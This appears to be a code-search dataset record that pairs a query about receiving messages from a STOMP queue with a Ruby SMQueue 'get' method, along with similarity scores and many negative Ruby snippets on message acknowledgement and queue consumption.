"def acknowledge\n if params[PayFast.signature_parameter_name] == generate_signature(:notify)\n response = ssl_post(PayFast.validate_service_url, notify_signature_string,\n 'Content-Type' => \"application/x-www-form-urlencoded\",\n 'Content-Length' => \"#{notify_signature_string.size}\"\n )\n raise StandardError.new(\"Faulty PayFast result: #{response}\") unless ['VALID', 'INVALID'].include?(response)\n\n response == \"VALID\"\n end\n end",
"def ack_required?\n self.class.ack_required?(action)\n end",
"def jms_send_ack(session,producer,tmp_text,ttimeout=75, rawflag=false)\n # scott new comment msg=session.create_text_message\n jms_temp_result =''\n @my_jms_guard.synchronize {\n # jms_next_transaction_id\n jms_tmp_header={}\n jms_temp_result=''\n begin \n count =0;\n Timeout::timeout(ttimeout) {\n tmp_msg_recv_flag=false\n jms_send_message(session,producer,jms_tmp_header,tmp_text) { |t2msg|\n #puts \"message recieved: #{t2msg.inspect}\" \n temp_m=StompMessage::Message.load_xml(t2msg.get_text())\n jms_temp_result = temp_m.body \n jms_temp_result = temp_m if rawflag\n tmp_msg_recv_flag=true\n }\n # sleep(0.05)\n while true \n # putc '.'\n count +=1\n break if tmp_msg_recv_flag\n sleeptime=count*0.01\n count= 5 if count > 100 #don't let count get too big\n sleep(sleeptime) \n # puts \"----sleeptime is: #{sleeptime} count: #{count}\" \n end\n }\n\n rescue Timeout::Error\n jms_temp_result=\"timeout waiting for response\"\n end\n }\n return jms_temp_result\n end",
"def test_creating_receive_ACK_message\n test_string = @mf.hex_string_to_string(\"82 00 82\")\n test_message = @msg_fac.new_incoming_message(test_string)\n assert_kind_of(HAIthermo::Message::ReceiveACK, test_message)\n end",
"def ack_receipt\n Net::HTTP.get(URI(params[:response_url]))\n end",
"def acknowledge\n getProfile\n consent = TherapistConsent.find(params[:id])\n if PatientConsent.acknownledge(@therapist.therapist_id, params[:patient_id], consent.version)\n respond_to do |format|\n format.html { render action: 'acknowledge', :notice => \"Consent acknowledged.\" }\n format.json { render :status => 200, :json => { action: 'acknowledge' }}\n end\n else\n respond_to do |format|\n format.html { render action: 'acknowledge', :danger => \"unable to acknowledge consent.\" }\n format.json { render :status => 417, :json => { action: 'acknowledge' }}\n end\n end\n end",
"def nack\n @action = :nack\n end",
"def confirm(args)\n ack_or_nack, delivery_tag, multiple = *args\n loop do\n tag = @unconfirmed.pop(true)\n break if tag == delivery_tag\n next if multiple && tag < delivery_tag\n\n @unconfirmed << tag # requeue\n rescue ThreadError\n break\n end\n return unless @unconfirmed.empty?\n\n ok = ack_or_nack == :ack\n @unconfirmed_empty.push(ok) until @unconfirmed_empty.num_waiting.zero?\n end",
"def update!(**args)\n @ack_id = args[:ack_id] unless args[:ack_id].nil?\n @message = args[:message] unless args[:message].nil?\n end",
"def publishack(channel, data, ack)\n @ws.send(get_publish_object(channel, data, increment_cnt).to_json)\n @acks[@cnt] = [channel, ack]\n end",
"def handle_ack_msg( their_msg )\r\n begin\r\n if their_msg.startup_ack\r\n super\r\n send_next_case\r\n warn \"Started, shouldn't see this again...\" if self.class.debug\r\n return\r\n end\r\n if their_msg.result\r\n self.class.lookup[:results][their_msg.result]||=0\r\n self.class.lookup[:results][their_msg.result]+=1\r\n if their_msg.result=='crash' and their_msg.crashdetail\r\n crashdetail=their_msg.crashdetail\r\n self.class.lookup[:buckets][DetailParser.hash( crashdetail )]=true\r\n # You might want to clear this when outputting status info.\r\n self.class.queue[:bugs] << DetailParser.long_desc( crashdetail )\r\n # Just initials - NOT EXPLOITABLE -> NE etc\r\n classification=DetailParser.classification( crashdetail).split.map {|e| e[0]}.join\r\n self.class.lookup[:classifications][classification]||=0\r\n self.class.lookup[:classifications][classification]+=1\r\n end\r\n else\r\n # Don't cancel the ack timeout here - this is the first ack\r\n # We wait to get the full result, post delivery.\r\n super\r\n send_next_case\r\n end\r\n rescue\r\n raise RuntimeError, \"#{COMPONENT}: Unknown error. #{$!}\"\r\n end\r\n end",
"def order_acknowledgement(hash)\n # example use: order_acknowledgement(amazon_order_id: '112-2598432-0713054', merchant_order_id: 336, status: 'Success', items: {'47979057082330' => '438'})\n # order_acknowledgement(amazon_order_id: '112-2598432-0713054', merchant_order_id: 336, status: 'Success')\n # order acknowledgment is done by sending an XML \"feed\" to Amazon\n # as of this writing, XML schema docs are available at:\n # https://images-na.ssl-images-amazon.com/images/G/01/rainier/help/XML_Documentation_Intl.pdf\n # https://images-na.ssl-images-amazon.com/images/G/01/mwsportal/doc/en_US/bde/MWSFeedsApiReference._V372272627_.pdf\n xml = \"\"\n builder = Builder::XmlMarkup.new(:indent => 2, :target => xml)\n builder.instruct! # <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n builder.AmazonEnvelope(:\"xmlns:xsi\" => \"http://www.w3.org/2001/XMLSchema-instance\", :\"xsi:noNamespaceSchemaLocation\" => \"amzn-envelope.xsd\") do |env|\n env.Header do |head|\n head.DocumentVersion('1.01')\n head.MerchantIdentifier(@connection.seller_id)\n end\n env.MessageType('OrderAcknowledgement')\n env.Message do |mes|\n mes.MessageID('1')\n mes.OrderAcknowledgement do |oa|\n oa.AmazonOrderID(hash[:amazon_order_id])\n oa.MerchantOrderID(hash[:merchant_order_id]) unless hash[:merchant_order_id].blank?\n oa.StatusCode(hash[:status])\n (hash[:items] || {}).each do |item_code, merchant_item_id|\n oa.Item do |item|\n item.AmazonOrderItemCode(item_code)\n item.MerchantOrderItemID(merchant_item_id) unless merchant_item_id.blank?\n end\n end\n end\n end\n end\n\n submit_feed('_POST_ORDER_ACKNOWLEDGEMENT_DATA_', xml)\n end",
"def nack_frame *args\n create_ack_or_nack 'NACK', args\n end",
"def assert_acknowledged(response)\n assert response[\"acknowledged\"] || response[\"ok\"], \"document was not acknowledged\"\n end",
"def rst_req_ack(clk_e,rst,req,ack,port)\n if clk_e then\n # Ensures clk_e is an event.\n clk_e = clk_e.posedge unless clk_e.is_a?(Event)\n par(clk_e) do\n # Handle the reset.\n hif(rst) { port.reset } if rst\n ack <= 0\n # Control the start of the task.\n hif(req) { port.run }\n # Control the end of the task: set ack to 1.\n port.finish { ack <= 1 }\n end\n else\n par do\n # Handle the reset\n hif(rst) { port.reset } if rst\n # Control the start of the task.\n hif(req) { port.run }\n ack <= 0\n # Control the end of the task: set ack to 1.\n port.finish { ack <= 1 }\n end\n end\n end",
"def parse_body(buffer)\n super(buffer)\n @connack_flags = shift_bits(buffer)\n unless @connack_flags[1, 7] == [false, false, false, false, false, false, false]\n raise ProtocolException, 'Invalid flags in Connack variable header'\n end\n @return_code = shift_byte(buffer)\n\n return if buffer.empty?\n raise ProtocolException, 'Extra bytes at end of Connect Acknowledgment packet'\n end",
"def acknowledge_purchase_subscription(package, subscription_id, token)\n @api_client.acknowledge_purchase_subscription(\n package,\n subscription_id,\n token\n )\n end",
"def onack(key, function)\n @events_ack[key] = function\n end",
"def process_ack(data, reply, subject)\n # FIXME: This should handle errors asynchronously in case there are any\n\n # Process ack\n pub_ack = STAN::Protocol::PubAck.decode(data)\n unless pub_ack.error.empty?\n raise Error.new(pub_ack.error)\n end\n\n # Unblock publishing queue\n @pending_pub_acks.pop if @pending_pub_acks.size > 0\n\n synchronize do\n # yield the ack response back to original publisher caller\n if cb = @pub_ack_map[pub_ack.guid]\n cb.call(pub_ack)\n end\n end\n end",
"def announce(msg)\n @lock.synchronize do\n unless @muc_clients.empty?\n @muc_clients.each_pair do |room, muc_client|\n muc_client.say(msg)\n end\n end\n end\n end",
"def receive_acknowledgement sequence_number\n @stats[:acks_received] += 1\n\n frame_acknowledged = sequence_number-1\n if frame_acknowledged == -1\n frame_acknowledged = (@options[:window_size] * 2) - 1\n end\n puts \"Frame #{frame_acknowledged} ACK'd\"\n\n perform_acknowledgement frame_acknowledged\n end"
] |
[
"0.731329",
"0.72715193",
"0.7054563",
"0.7003026",
"0.6985769",
"0.6956",
"0.68579894",
"0.6819857",
"0.6819005",
"0.6783214",
"0.67802364",
"0.6771343",
"0.6744129",
"0.67260116",
"0.6704331",
"0.6699316",
"0.667671",
"0.6612508",
"0.66004956",
"0.6594611",
"0.65939575",
"0.65886605",
"0.6579978",
"0.6574826",
"0.6572351",
"0.6571746",
"0.6522003",
"0.649201",
"0.64855",
"0.6479177",
"0.64394337",
"0.6438781",
"0.64038485",
"0.6367233",
"0.6363792",
"0.6348463",
"0.62447673",
"0.6239751",
"0.62324095",
"0.6222795",
"0.6155256",
"0.6132397",
"0.61214226",
"0.60790765",
"0.60790765",
"0.6075898",
"0.60744864",
"0.60642916",
"0.6054073",
"0.60469705",
"0.6002074",
"0.5982689",
"0.59572643",
"0.59238917",
"0.5922676",
"0.5919993",
"0.5786949",
"0.5758174",
"0.5754255",
"0.5748484",
"0.5748484",
"0.5701459",
"0.56881464",
"0.5671185",
"0.56649387",
"0.5658727",
"0.55763954",
"0.5568036",
"0.55562246",
"0.55491775",
"0.55423087",
"0.5535241",
"0.5527275",
"0.5527275",
"0.54834056",
"0.54810715",
"0.5472871",
"0.54662806",
"0.5460942",
"0.5458762",
"0.5420078",
"0.5386491",
"0.53667796",
"0.5347169",
"0.5341245",
"0.5327651",
"0.5321263",
"0.5314501",
"0.53049374",
"0.53037584",
"0.5303368",
"0.5289682",
"0.5258149",
"0.5256017",
"0.52411675",
"0.52402085",
"0.5235492",
"0.51894844",
"0.5181399",
"0.5162276"
] |
0.79772866
|
0
|
get message from queue if block supplied, loop forever and yield(message) for each message received default headers are: :ack => "client" :client_id => configuration.client_id :subscription_name => configuration.subscription_name
|
def get(headers = {}, &block)
self.connect
SMQueue.dbg { [:smqueue, :get, headers].inspect }
subscription_headers = {"ack" => "client", "activemq.prefetchSize" => 1 }
if client_id = configuration.client_id
subscription_headers["client_id"] = client_id
end
if sub_name = configuration.subscription_name
subscription_headers["subscription_name"] = sub_name
end
# if a client_id is supplied, then user wants a durable subscription
# N.B. client_id must be unique for broker
subscription_headers.update(headers)
#p [:subscription_headers_before, subscription_headers]
subscription_headers = normalize_keys(subscription_headers)
if configuration.durable and client_id = configuration.client_id || subscription_headers["client_id"]
subscription_name = configuration.subscription_name || subscription_headers["subscription_name"] || client_id
# activemq only
subscription_headers["activemq.subscriptionName"] = subscription_name
# JMS
subscription_headers["durable-subscriber-name"] = subscription_name
end
#p [:subscription_headers_after, subscription_headers]
destination = configuration.name
SMQueue.dbg { [:smqueue, :get, :subscribing, destination, :subscription_headers, subscription_headers].inspect }
connection.subscribe destination, subscription_headers
message = nil
SMQueue.dbg { [:smqueue, :get, :subscription_headers, subscription_headers].inspect }
begin
# TODO: refactor this
if block_given?
SMQueue.dbg { [:smqueue, :get, :block_given].inspect }
# todo: change to @running - (and set to false from exception handler)
# also should check to see if anything left to receive on connection before bailing out
while true
SMQueue.dbg { [:smqueue, :get, :receive].inspect }
# block until message ready
message = connection.receive
SMQueue.dbg { [:smqueue, :get, :received, message].inspect }
case message.command
when "ERROR"
SMQueue.dbg { [:smqueue, :get, :ERROR, message].inspect }
when "RECEIPT"
SMQueue.dbg { [:smqueue, :get, :RECEIPT, message].inspect }
else
SMQueue.dbg { [:smqueue, :get, :yielding].inspect }
if !message_seen?(message.headers["message-id"])
yield(message)
end
SMQueue.dbg { [:smqueue, :get, :message_seen, message.headers["message-id"]].inspect }
message_seen message.headers["message-id"]
SMQueue.dbg { [:smqueue, :get, :returned_from_yield_now_calling_ack].inspect }
ack(subscription_headers, message)
SMQueue.dbg { [:smqueue, :get, :returned_from_ack].inspect }
end
end
else
SMQueue.dbg { [:smqueue, :get, :single_shot].inspect }
message = connection.receive
SMQueue.dbg { [:smqueue, :get, :received, message].inspect }
if !(message.command == "ERROR" or message.command == "RECEIPT")
SMQueue.dbg { [:smqueue, :get, :message_seen, message.headers["message-id"]].inspect }
message_seen message.headers["message-id"]
SMQueue.dbg { [:smqueue, :get, :ack, message].inspect }
ack(subscription_headers, message)
SMQueue.dbg { [:smqueue, :get, :returned_from_ack].inspect }
end
end
rescue Object => e
SMQueue.dbg { [:smqueue, :get, :exception, e].inspect }
handle_error e, "Exception in SMQueue#get: #{e.message}", caller
ensure
SMQueue.dbg { [:smqueue, :get, :ensure].inspect }
SMQueue.dbg { [:smqueue, :unsubscribe, destination, subscription_headers].inspect }
connection.unsubscribe destination, subscription_headers
SMQueue.dbg { [:smqueue, :disconnect].inspect }
connection.disconnect
end
SMQueue.dbg { [:smqueue, :get, :return].inspect }
message
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def fetch queue_name, source_uri\n ReliableMsg::Queue.new(queue_name, :drb_uri => source_uri).get { |m|\n begin\n tx = Thread.current[ReliableMsg::Client::THREAD_CURRENT_TX]\n Thread.current[ReliableMsg::Client::THREAD_CURRENT_TX] = nil\n\n @logger.info { \"message fetched - <#{m.id}>\" }\n yield m\n\n ensure\n Thread.current[ReliableMsg::Client::THREAD_CURRENT_TX] = tx\n end\n }\n end",
"def consume(&block)\n q_item = @client.reserve( @name )\n return nil unless valid(q_item)\n q_message = ::Qup::Message.new( q_item.object_id, unmarshal_if_marshalled( q_item ))\n @open_messages[q_message.key] = q_item\n if block_given? then\n yield_message( q_message, &block )\n end\n return q_message\n end",
"def subscribe(key)\n @queue = @rabbit.channel.queue(\"\", :exclusive => true)\n @queue.bind(@exchange, :routing_key => key)\n begin\n @queue.subscribe(:block => true) do |delivery_info, metadata, payload|\n message = JSON.parse(payload, symbolize_names: true)\n yield message\n end\n rescue Interrupt => _\n @rabbit.close\n end\n end",
"def get_messages()\n @@log.debug \"#{self.class} get messages starts\"\n #\n eof_msg_not_received = true\n loop_count = 0\n #\n headers = {\"persistent\" => true, \"client-id\" => @client_id,\n \"ack\" => @runparms.ack}\n #\n # Do this until the EOF message is received.\n #\n while (eof_msg_not_received)\n loop_count += 1\n @@log.debug \"Client loop count: #{loop_count}\"\n #\n client = Stomp::Client.open(@runparms.userid, @runparms.password, \n @runparms.host, @runparms.port)\n @@log.debug \"next subscribe starts\"\n received = nil\n client.subscribe(@queue_name, headers ) do |message|\n #\n lmsg = \"Got Reply: ID=#{message.headers['message-id']} \"\n lmsg += \"BODY=#{message.body} \"\n lmsg += \"on QUEUE #{message.headers['destination']}\"\n @@log.debug \"#{lmsg}\"\n #\n proc_message(message)\n #\n if @runparms.ack == \"client\"\n @@log.debug \"subscribe loop, sending acknowledge\"\n client.acknowledge(message)\n end\n #\n if message.body == Runparms::EOF_MSG\n @@log.debug \"#{self.class} should be done\"\n eof_msg_not_received = false\n break\n end\n received = message\n end # end of subscribe\n @@log.debug \"#{self.class} Starting to sleep\"\n sleep 1.0 until received\n @@log.debug \"#{self.class} Ending sleep, closing client\"\n client.close()\n received = nil\n @@log.debug \"#{self.class} getter client loop ending\"\n end\n @@log.debug \"#{self.class} getter client ending\"\n end",
"def handle_messages\n messages = *disque.fetch(from: queue_name,timeout: 100,count: batch_size)\n messages.each do |queue,id,data|\n Chore.logger.debug \"Received #{id.inspect} from #{queue.inspect} with #{data.inspect}\"\n yield(id, queue, nil, data, 0)\n Chore.run_hooks_for(:on_fetch, id, data)\n end\n messages\n end",
"def listen(&block)\n AMQP.start(:host => @host) do\n exchange = MQ.direct(@x_request)\n reply = MQ.direct(@x_response)\n queue = MQ.queue(@server_q)\n notify = MQ.fanout(@x_notify)\n \n puts \"request xchange =#{@x_request}\"\n puts \"reply xchange =#{@x_response}\"\n puts \"server queue =#{@server_q}\"\n \n @do_notify = proc do |msg|\n notify.publish(Blix.to_binary_data(msg))\n puts \"[AmqpServer] notify: message=#{msg}\" if $DEBUG\n end\n \n queue.bind( exchange).subscribe do |header,body|\n \n # extract the headers and create a transport for this\n # client. the reply_to field may be in the application\n # headers field so check for it there also.\n \n reply_to = header.reply_to || ( header.headers && header.headers[:reply_to])\n message_id = header.message_id || ( header.headers && header.headers[:message_id])\n \n if reply_to && message_id\n # process the call\n response = block && block.call(body)\n \n # publish the reply only if there is a response\n \n if response\n options = {}\n options[:key] = reply_to\n options[:message_id] = message_id\n data = Blix.to_binary_data(response)\n \n puts \"[AmqpServer] response: data=#{data}, options=#{options}\" if $DEBUG\n \n reply.publish(data, options )\n end\n else\n puts \"missing reply-to /message_id field .....#{header.inspect}\"\n end\n end\n \n# # send any notifications that are waiting.\n# while !@notify_queue.empty?\n# message = @notify_queue.pop\n# channel.fanout(@x_notify).publish(Blix.to_binary_data(message))\n# puts \"[AmqpServer] notify: message=#{msg}\" if $DEBUG\n# end\n end\n \n end",
"def each\n while message = read_message\n yield message\n end\n end",
"def get_messages()\n @@log.debug \"getter client starting, thread is: #{Thread.current}\"\n received = nil\n #\n # Note: in the subscribe loop there is actually a separate\n # thread, known as the 'callback listener'!.\n #\n count = 0\n @client.subscribe(@queue_name,\n {\"persistent\" => true, \"client-id\" => @client_id,\n \"ack\" => @ack} ) do |message|\n @@log.debug \"subscribe loop, thread is: #{Thread.current}\"\n lmsg = \"Got Reply: ID=#{message.headers['message-id']} \"\n lmsg += \"BODY=#{message.body} \"\n lmsg += \"on QUEUE #{message.headers['destination']}\"\n @@log.debug \"#{lmsg}\"\n received = message\n count += 1\n if @ack == \"client\"\n @@log.debug \"subscribe loop, sending acknowledge\"\n @client.acknowledge(received)\n end\n end\n #\n # Make sure this sleep time is sufficiently large, but only as large as\n # really required! There must be sufficient time for:\n # 1) The stomp server to dequeue all the messages in the queue\n # 2) The stomp server will then transmit these messages\n # 3) The consumer/getter (this code) then processes the messages received.\n #\n # If this is not done, this consumer/getter will appear to 'lose' messages,\n # because the main thread wakes up, sees 'received', and closes the client\n # connection prematurely.\n #\n # This anomaly is *much* more apparent with stompserver than with AMQ. It\n # appears to me that AMQ enqueues, and dequeues messages much more quickly,\n # which covers this up in many cases.\n #\n # Later note: The above paragraph may not be correct. Caution advised.\n #\n sleep 3 until received\n #\n @client.close\n @@log.debug \"getter client received count: #{count}\"\n @@log.debug \"getter client ending, thread is: #{Thread.current}\"\n end",
"def fetch_messages\n if !@worker_pool.worker_available? && @state.run?\n @worker_available.wait\n end\n return unless @worker_pool.worker_available? && @state.run?\n\n begin\n args = [self.signals_redis_key, self.queue_redis_keys.shuffle, 0].flatten\n redis_key, encoded_payload = @client.block_dequeue(*args)\n if redis_key != @signals_redis_key\n @worker_pool.push(QueueItem.new(redis_key, encoded_payload))\n end\n rescue RuntimeError => exception\n log \"Error occurred while dequeueing\", :error\n log \"#{exception.class}: #{exception.message}\", :error\n (exception.backtrace || []).each{ |l| log(l, :error) }\n sleep 1\n end\n end",
"def next_message_from(queue)\n delivery_info, properties, body = queue.pop\n return nil if body.nil?\n Bunny::Message.new(delivery_info, properties, body)\n end",
"def request_loop\n @request_queue.receive_messages.each do |msg|\n yield(get_request(msg))\n end\n end",
"def process_next_message\n @subscriptions.each_pair do |channel, session|\n queue = session[:queue]\n message = next_message_from(queue)\n\n process(channel, message) if message\n end\n end",
"def receive_messages_from_subscribed_topics \n\t\t\tif block_given?\n\t\t\t\t\t#@client.get do |topic, message|\n\t\t\t\t\tget do |topic, message|\t\n\t\t\t\t\t\tyield(topic, message)\n\t\t\t\t\tend\n\t\t\telse \n\t\t\t\t#topic, message = @client.get\n\t\t\t\ttopic, message = get\n\t\t\t\treturn topic, message\n\t\t\tend\n\t\tend",
"def get_messages()\n @@log.debug(\"get_messages starts\")\n subscribe\n StompHelper::pause(\"After subscribe\") if $DEBUG\n for msgnum in (0..@max_msgs-1) do\n message = @conn.receive\n @@log.debug(\"Received: #{message}\")\n if @ack == \"client\"\n @@log.debug(\"in receive, sending ACK, headers: #{message.headers.inspect}\")\n message_id = message.headers[\"message-id\"]\n @@log.debug(\"in receive, sending ACK, message-id: #{message_id}\")\n @conn.ack(message_id) # ACK this message\n end\n StompHelper::pause(\"After first receive\") if (msgnum == 0 and $DEBUG)\n #\n received = message\n end\n end",
"def read\n while msg = consumer.pop\n begin\n data = JSON.parse msg.body\n yield data[0], data[1]\n rescue => error\n Lux::Error.split_backtrace error\n end\n\n msg.finish\n end\n end",
"def message_from_queue\n if msg = @connection.pop\n message = msg.body.delete(\"\\n\")\n msg.finish\n message\n end\n end",
"def with_queue_control\n TorqueBox::ServiceRegistry.lookup(\"jboss.messaging.default\") do |server|\n yield server.management_service.get_resource(\"jms.queue.#{_dump(nil)}\")\n end\n end",
"def consume(&block)\n @queue.consume(&block)\n end",
"def receive\n raise \"No subscription to receive messages from\" if (@queue_names.nil? || @queue_names.empty?)\n start = @current_queue\n while true\n @current_queue = ((@current_queue < @queue_names.length-1) ? @current_queue + 1 : 0)\n sleep(@connection_options[:poll_interval]) if (@current_queue == start)\n q = @queues[@queue_names[@current_queue]]\n unless q.nil?\n message = retrieve_message(q)\n return message unless message.nil?\n end\n end\n end",
"def process_queue\n puts \"Waiting for new messages\"\n th = Thread.new do\n Thread.current.abort_on_exception = true\n loop do\n # This will sit around and wait forever.\n key, raw_msg = @redis_client.blpop(@redis_in_key, 0)\n json_msg = Crack::JSON.parse(raw_msg)\n # Send back a random quote\n random_quote = @quotes[rand(@quotes.size)]\n out_msg = {:from => json_msg['from'], :body => random_quote}.to_json\n # Pusing onto the \"out\" list queues up something for the listener to process\n @redis_client.lpush(@redis_out_key, out_msg)\n end\n end \n end",
"def queue(message); end",
"def receive(&block)\n\n # trap (\"INT\") do\n # puts \"\\nReceived interrupt...inside szmq\"\n # # @close = true\n # exit 0\n # end\n received_message = ''\n\n if @socket_type == ZMQ::PULL\n loop do\n break if @close\n @socket.recv_string(received_message)\n if block_given?\n yield(received_message)\n end\n end\n\n elsif @socket_type == ZMQ::REP\n reply_message = ''\n loop do\n # break if @close\n unless @socket.recv_string(received_message) == -1\n @socket.recv_string(received_message)\n if block_given?\n reply_message = yield(received_message)\n else\n reply_message = \"0\"\n end\n end\n @socket.send_string(reply_message)\n end\n else\n raise \"Socket type of #{@socket_type_string} does not receive messages\"\n end\n end",
"def dequeue\n loop do\n return nil if @stop\n message = receive_message\n if message\n if message.valid?\n return message\n else\n delete_message(message)\n end\n end\n end\n end",
"def reply_loop\n @reply_queue.receive_messages.each do |msg|\n next if (reply = get_reply(msg)).nil?\n yield(reply)\n end\n end",
"def receive_message\n sqs = Aws::SQS::Client.new(region: ENV['AWS_REGION'])\n resp = sqs.receive_message(queue_url: ENV['SQS_ENDPOINT'])\n\n if resp.messages.count > 0\n process_message(resp.messages[0])\n end\n end",
"def subscribe(key)\n @amq.queue(key).subscribe do |header, body|\n value = YAML.load(body)\n yield value\n end\n end",
"def receive(queue, header, message, options, &block)\n begin\n if options[:no_unserialize] || @serializer.nil?\n execute_callback(block, @identity, message, header)\n elsif message == \"nil\"\n # This happens as part of connecting an instance agent to a broker prior to version 13\n header.ack if options[:ack]\n logger.debug(\"RECV #{@alias} nil message ignored\")\n elsif (packet = unserialize(queue, message, options))\n execute_callback(block, @identity, packet, header)\n elsif options[:ack]\n # Need to ack empty packet since no callback is being made\n header.ack\n end\n true\n rescue StandardError => e\n header.ack if options[:ack]\n logger.exception(\"Failed receiving message from queue #{queue.inspect} on broker #{@alias}\", e, :trace)\n @exception_stats.track(\"receive\", e)\n update_non_delivery_stats(\"receive failure\", e)\n end\n end",
"def consume(workitem)\n\n RuoteStomp.start!\n target_queue = determine_queue(workitem)\n\n raise 'no queue specified (outbound delivery)' unless target_queue\n\n forget = determine_forget(workitem)\n\n opts = {\n :persistent => RuoteStomp.use_persistent_messages?,\n :content_type => 'application/json' }\n\n if message = workitem.fields['message'] || workitem.params['message']\n\n forget = true # sending a message implies 'forget' => true\n $stomp.send target_queue, message, opts \n else\n $stomp.send target_queue, encode_workitem(workitem), opts\n end\n\n reply_to_engine(workitem) if forget\n end",
"def messages_queue\n $messages_queue ||= client.queue(\"messages\", :durable => true, :auto_delete => false)\nend",
"def listen\n @queue.subscribe(block: true) do |delivery_info, properties, body|\n puts(body)\n end\n end",
"def listen(&block)\n queue.bind(exchange).subscribe do |delivery_info, metadata, event|\n block.call(event)\n end\n nil\n end",
"def process! non_block=false\n @running = true\n while @running && (message = shift(non_block))\n @transport.send_message(message)\n end\n message\n end",
"def retrieve(key)\n unless @queue\n @channel.queue_declare(:queue => key)\n @channel.queue_bind(:queue_name => key)\n bc = channel.basic_consume(:queue => key)\n @queue = client.queue(bc.consumer_tag)\n end\n \n return nil if @queue.empty?\n begin\n # at this point there should be something in the queue but nonetheless we keep a\n # defensive approach and trap a possible empty queue exception. there could be a \n # race condition between the empty? check and the pop.\n message = @queue.pop(non_block = true)\n return Marshal.load(message.content.body)\n rescue\n return nil\n end\n end",
"def read_and_process_message(adapter, queue_url, worker_pool, block)\n message = read_message(adapter, queue_url)\n return unless message\n\n Mimi::Messaging.log \"Read message from: #{queue_url}\"\n if worker_pool\n process_message_worker_pool(adapter, queue_url, worker_pool, message, block)\n else\n process_message(adapter, queue_url, message, block)\n end\n rescue StandardError => e\n Mimi::Messaging.logger&.error(\n \"#{self.class}: failed to read or process message from: #{queue_url},\" \\\n \" worker_pool: #{worker_pool ? \"yes\" : \"no\"}\" \\\n \" error: (#{e.class}) #{e}\"\n )\n end",
"def request(message, response_size = 0, &the_block)\n @q.push([message, response_size, the_block])\n end",
"def read_message(adapter, queue_url)\n result = adapter.sqs_client.receive_message(\n queue_url: queue_url,\n max_number_of_messages: 1,\n wait_time_seconds: adapter.options[:mq_aws_sqs_read_timeout],\n message_attribute_names: [\"All\"]\n )\n return nil if result.messages.count == 0\n return result.messages.first if result.messages.count == 1\n\n raise Mimi::Messaging::ConnectionError, \"Unexpected number of messages read\"\n end",
"def receive\n if block_given?\n obj, args = @adapter.pop\n yield QueueObject.new(obj, args) if obj\n else\n raise 'No block given'\n end\n end",
"def subscribe \n @subscription = MQ.new\n @subscription.queue(@uuid).bind(@subscription.fanout('global_history')).subscribe do |result|\n x = Mash.new(JSON::parse(result))\n puts \"received: #{x[:uuid]} #{x[:user]}@#{x[:host]}$ #{x[:message]}\"\n if x[:uuid] != @uuid\n @pause = true\n File.open(path, \"a\") {|f| f.puts(x[:message])}\n skip_ahead\n @pause = false\n schedule_next_read\n end\n end\n end",
"def setup_shared_queue\n @amq.queue(@shared_queue).subscribe(:ack => true) do |info, msg|\n begin\n info.ack\n receive_request(@serializer.load(msg))\n rescue Exception => e\n RightLinkLog.error(\"RECV #{e.message}\")\n @callbacks[:exception].call(e, msg, self) rescue nil if @callbacks && @callbacks[:exception]\n end\n end\n true\n end",
"def subscribe(key)\n @amq.queue(key).subscribe do |value|\n yield value\n end\n end",
"def start\n # subscribe is like a callback\n @server_queue.subscribe(block: @block) do |delivery_info, properties, payload|\n consume(delivery_info, properties, payload)\n end\n end",
"def getMessagesFromSQS()\n sqs = Aws::SQS::Client.new\n queue = sqs.create_queue({:queue_name=>@queuename})\n \n poller = Aws::SQS::QueuePoller.new(queue.queue_url)\n poller.poll(idle_timeout: 20) do |msg|\n @queue << msg\n while(true)\n if(@queue.length() < @noOfThreads)\n break\n end\n end\n end\n @run = false\nend",
"def pop opts = {}, &blk\n @on_msg = blk\n @ack = opts[:no_ack] === false\n popper = Proc.new do\n @mq.get_queues.push(self)\n @mq.callback{\n @mq.send Protocol::Basic::Get.new({ :queue => name,\n :consumer_tag => name,\n :no_ack => true,\n :nowait => true }.merge(opts))\n }\n end\n if delay = opts.delete(:delay)\n EM.add_timer(delay, popper)\n else\n popper.call\n end\n self\n end",
"def consume_each_message\n kafka_consumer.each_message(\n ConfigAdapter.consuming(consumer_group)\n ) do |message|\n # always yield an array of messages, so we have consistent API (always a batch)\n yield([message])\n end\n end",
"def processMessage\n\n loop do\n\n input = @processMessageQueue.pop\n\n Log::debug \"#{__method__}: #{input}\"\n\n case input[:type]\n when :send\n\n id = input[:id]\n to = input[:to]\n from = input[:from]\n\n output = packMessage(to, input[:message])\n\n if output\n \n @processJobQueue.push({\n :type=>:notifyPacked,\n :id=>id,\n :time => Time.now,\n :counter => output[:counter],\n :message => {\n :to => to,\n :from => from,\n :message => output[:data],\n :ip => input[:ip],\n :port => input[:port]\n } \n })\n\n else\n\n @processJobQueue.push({\n :type=>:notifyNotSent,\n :id=>id,\n :time => Time.now\n })\n\n end\n\n when :receive\n\n id = input[:id]\n \n result = unpackMessage(input[:data])\n\n if result\n\n case result[:recipient]\n when :PR6_RECIPIENT_CLIENT\n\n @processJobQueue.push({\n :type => :processMessage,\n :from => result[:from],\n :to => result[:to],\n :message => result[:data] \n })\n\n when :PR6_RECIPIENT_SERVER\n\n association = AssociationRecord.read(result[:to], result[:to], result[:from])\n\n if association\n\n output = packMessage(result[:from], Server.new(association, @objects).input(result[:counter], result[:data]))\n \n if output.size > 0\n\n @outputQueue.push({\n :to => result[:from],\n :from => result[:to],\n :ip => input[:ip],\n :port => input[:port],\n :message => output[:data]\n })\n\n end\n\n else\n\n Log::warning \"#{__method__}: assocation record removed since last read\"\n \n end\n\n else\n raise\n end\n\n end\n\n else\n raise \"unknown message type\"\n end\n\n end\n\n end",
"def on_enqueued\n @flow_lock.synchronize do\n return if @on_enqueued_invoked\n\n @on_enqueued_invoked = true\n\n yield(@first_message, @last_message)\n end\n end",
"def subscribe(connection)\n channel = connection.create_channel\n q = channel.queue DESTINATION_QUEUE, durable: true\n q.subscribe do |delivery, headers, body|\n puts \"#{Time.now}: Got the message\"\n end\nend",
"def listen_for_messages\n @queue.subscribe do |_delivery_info, _metad5ata, payload|\n data = JSON.parse(payload)\n display_message(data['user'], data['message'])\n end\n end",
